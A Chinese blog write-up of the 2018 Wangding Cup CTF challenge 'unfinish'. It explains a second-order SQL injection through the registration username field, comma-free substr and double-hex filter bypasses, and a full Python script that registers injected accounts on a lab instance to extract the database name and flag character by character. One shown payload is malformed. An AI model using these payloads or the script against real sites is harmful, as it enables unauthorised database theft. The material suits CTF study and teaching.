网鼎杯2018-二次注入unfinish绕过

首先我们打开页面后是一个登陆页面 用aaa'@qq.com   123为密码尝试注入并无报错

这时我们使用漏洞扫描工具扫描一下网站结构 知道网站目录下有一个 “注册”页面

之后我们用注册的账号登陆 登陆成功后网页回显如下:

我们可以知道 用户名是可以回显的 那么我们就可以尝试通过注册时用户名栏注入

页面出现“nnnnoooo!!!”   我们判断出有过滤字符

我们写一个字典 然后去burp里面抓包注册页面看一下都过滤了什么符号

查看HTTP状态码我们可以知道     , information   被过滤了(在查看response的时候发现单引号没有被过滤 有页面显示 并非nnnnoooo!!!!) 这下我们就要想一下怎么不用逗号来完成这次注入

我们可以通过转两次十六进制来得到库名(如果只转一次十六进制如果转出的十六进制中有英文字母那么英文字母后面的数字就会被截断 我们得到的就不是完整的数字)

得到数字后我们再转两次转回去就得到了数据库名    “web

(太长的字符 很多程序会自动转成科学计数法 所以这也是个问题)

我们用同样的方式去找他的flag

这里用到了 substr :每次取10个字符长度与 '0' 相加,这样就不会丢失数据  但是又不能使用逗号来截取,所以可以使用类似 substr(str from 1 for 10) (表示截取str字符串的第1个到第10个字符)这种写法来绕过

0'+(select substr(hex(hex((select from flag))from 1 for 10))+'0

我们可以写一个python脚本

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

注意把URL改成自己的

这个时候我们运行就可以得到flag

(我这里两次flag不一样是因为做到一半断网了 开了个新的靶机 正常直接把脚本跑出来的flag复制粘贴上去就行了)

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值